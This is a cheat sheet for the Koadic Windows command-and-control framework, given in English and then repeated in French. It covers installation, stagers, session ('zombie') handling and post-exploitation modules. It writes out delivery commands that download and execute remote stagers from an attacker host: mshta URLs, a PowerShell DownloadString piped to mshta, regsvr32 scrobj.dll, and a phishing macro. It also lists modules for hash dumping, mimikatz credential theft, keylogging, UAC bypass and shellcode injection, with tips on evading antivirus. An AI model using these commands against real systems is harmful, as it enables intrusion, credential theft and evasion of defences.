koadic

Overview

Koadic is a Windows C2 framework that uses Component Object Model (COM) scripting to run payloads via JScript and VBScript — techniques used in normal Windows administration. Its stagers are designed to be fileless, executing entirely in memory via mshta.exe, wscript.exe, or rundll32.exe.

Installation

git clone https://github.com/zerosum0x0/koadic
cd koadic
pip3 install -r requirements.txt
python3 koadic.py

Basic Usage

Start Koadic

python3 koadic.py

# Inside Koadic:
(koadic: sta/js/mshta)> help
(koadic: sta/js/mshta)> use stager/js/mshta
(koadic: sta/js/mshta)> info
(koadic: sta/js/mshta)> set SRVHOST 10.10.10.50
(koadic: sta/js/mshta)> run

Stagers

JScript via mshta.exe (most common)

use stager/js/mshta

# Payload delivered via:
# mshta.exe http://10.10.10.50:9997/whatever.html

JScript via regsvr32

use stager/js/regsvr32

JScript via rundll32

use stager/js/rundll32

VBScript via wscript

use stager/vbs/wscript

Working with Zombies (Sessions)

List active zombies (sessions)

zombies

Interact with a zombie

use zombie 0

# Run commands on zombie
shell whoami
shell ipconfig
shell systeminfo

Inject into process

inject 1234 stager/js/mshta  # inject into PID 1234

Implants (Post-Exploitation Modules)

# Run a module on active zombie
use implant/gather/hashdump
run

use implant/gather/hashdump          # dump SAM hashes

use implant/gather/clipboard         # get clipboard content

use implant/gather/keys              # keylogger

use implant/gather/userinfo          # user/domain info

use implant/inject/mimikatz_sekurlsa # credential dump via mimikatz

use implant/manage/zombie_stealth    # hide the zombie process

use implant/escalate/bypassuac_eventvwr  # UAC bypass

use implant/pivot/exec_shellcode     # inject shellcode

Delivery Methods

Payload delivery via mshta.exe:

mshta http://10.10.10.50:9997/index.html

Via PowerShell download:

powershell -c "(New-Object Net.WebClient).DownloadString('http://10.10.10.50:9997/stager.js')" | mshta

# Via phishing document with macro:
# Macro calls: Shell "mshta.exe http://attacker/koadic_stager.html"

Via rundll32 (regsvr32 squiblydoo):

regsvr32 /s /n /u /i:http://10.10.10.50:9997/stager.sct scrobj.dll

Tips

• mshta.exe stagers are one of the most AV-evasive delivery methods for Windows
• Koadic is LOLBIN (Living off the Land) — uses built-in Windows tools
• Sessions are called “zombies” — each has an ID for targeting
• Combine UAC bypass implants with privilege escalation for Admin → SYSTEM
• Less maintained than Sliver/Havoc — consider those for modern engagements

Koadic commands:

use MODULE      Load a module
info            Show module options
set KEY VALUE   Configure option
run             Execute current module
zombies         List active sessions
use zombie N    Select session
shell CMD       Run command on session
implants        List available implants
exit            Quit Koadic

Vue d’ensemble

Koadic est un framework C2 Windows qui utilise le scripting COM (Component Object Model) pour exécuter des payloads via JScript et VBScript, des techniques utilisées dans l’administration Windows normale. Ses stagers sont conçus pour être fileless, s’exécutant entièrement en mémoire via mshta.exe, wscript.exe ou rundll32.exe.

Installation

git clone https://github.com/zerosum0x0/koadic
cd koadic
pip3 install -r requirements.txt
python3 koadic.py

Utilisation de base

# Démarrer Koadic
python3 koadic.py

# À l'intérieur de Koadic :
(koadic: sta/js/mshta)> help
(koadic: sta/js/mshta)> use stager/js/mshta
(koadic: sta/js/mshta)> info
(koadic: sta/js/mshta)> set SRVHOST 10.10.10.50
(koadic: sta/js/mshta)> run

Stagers

# JScript via mshta.exe (le plus courant)
use stager/js/mshta

# Le payload est livré via :
# mshta.exe http://10.10.10.50:9997/whatever.html

# JScript via regsvr32
use stager/js/regsvr32

# JScript via rundll32
use stager/js/rundll32

# VBScript via wscript
use stager/vbs/wscript

Travailler avec les zombies (sessions)

# Lister les zombies actifs (sessions)
zombies

# Interagir avec un zombie
use zombie 0

# Exécuter des commandes sur le zombie
shell whoami
shell ipconfig
shell systeminfo

# Injecter dans un processus
inject 1234 stager/js/mshta  # injecter dans le PID 1234

Implants (modules post-exploitation)

# Exécuter un module sur le zombie actif
use implant/gather/hashdump
run

use implant/gather/hashdump          # dump des hashes SAM
use implant/gather/clipboard         # récupérer le contenu du presse-papiers
use implant/gather/keys              # keylogger
use implant/gather/userinfo          # infos utilisateur/domaine
use implant/inject/mimikatz_sekurlsa # dump de credentials via mimikatz
use implant/manage/zombie_stealth    # cacher le processus du zombie
use implant/escalate/bypassuac_eventvwr  # UAC bypass
use implant/pivot/exec_shellcode     # injecter du shellcode

Méthodes de livraison

# Livraison du payload via mshta.exe
mshta http://10.10.10.50:9997/index.html

# Via téléchargement PowerShell
powershell -c "(New-Object Net.WebClient).DownloadString('http://10.10.10.50:9997/stager.js')" | mshta

# Via document de phishing avec macro :
# La macro appelle : Shell "mshta.exe http://attacker/koadic_stager.html"

# Via rundll32 (regsvr32 squiblydoo)
regsvr32 /s /n /u /i:http://10.10.10.50:9997/stager.sct scrobj.dll

Conseils

• Les stagers mshta.exe sont l’une des méthodes de livraison les plus évasives face aux AV sous Windows
• Koadic est un LOLBIN (Living off the Land) : il utilise des outils Windows natifs
• Les sessions sont appelées « zombies » : chacune a un ID pour cibler
• Combiner les implants de UAC bypass avec l’escalade de privilèges pour passer Admin → SYSTEM
• Moins maintenu que Sliver/Havoc : privilégier ces derniers pour des missions modernes

Koadic commands:

use MODULE      Load a module
info            Show module options
set KEY VALUE   Configure option
run             Execute current module
zombies         List active sessions
use zombie N    Select session
shell CMD       Run command on session
implants        List available implants
exit            Quit Koadic